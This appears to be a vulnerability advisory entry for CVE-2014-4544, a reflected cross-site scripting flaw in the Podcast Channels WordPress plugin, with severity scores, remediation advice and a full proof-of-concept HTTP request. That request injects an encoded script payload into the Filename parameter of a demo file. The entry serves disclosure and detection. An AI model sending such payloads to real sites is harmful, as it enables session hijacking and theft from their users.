| Title | Podcast Channels < 0.28 - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Update to the latest version of the Podcast Channels plugin (0.28 or higher) to fix this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.02584 |
| CVE ID | CVE-2014-4544 |
| CWE ID | CWE-79 |
| Tags | cve2014 cve wpscan wordpress wp-plugin xss unauth podcast_channels_project vuln |
The Podcast Channels WordPress plugin was affected by an unauthenticated reflected cross-site scripting security vulnerability.
GET /wp-content/plugins/podcast-channels/getid3/demos/demo.write.php?Filename=Filename%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2014/CVE-2014-4544.yaml
🦈 Packet Capture: ⬇️ Download cve-2014-4544.pcap
N/AN/A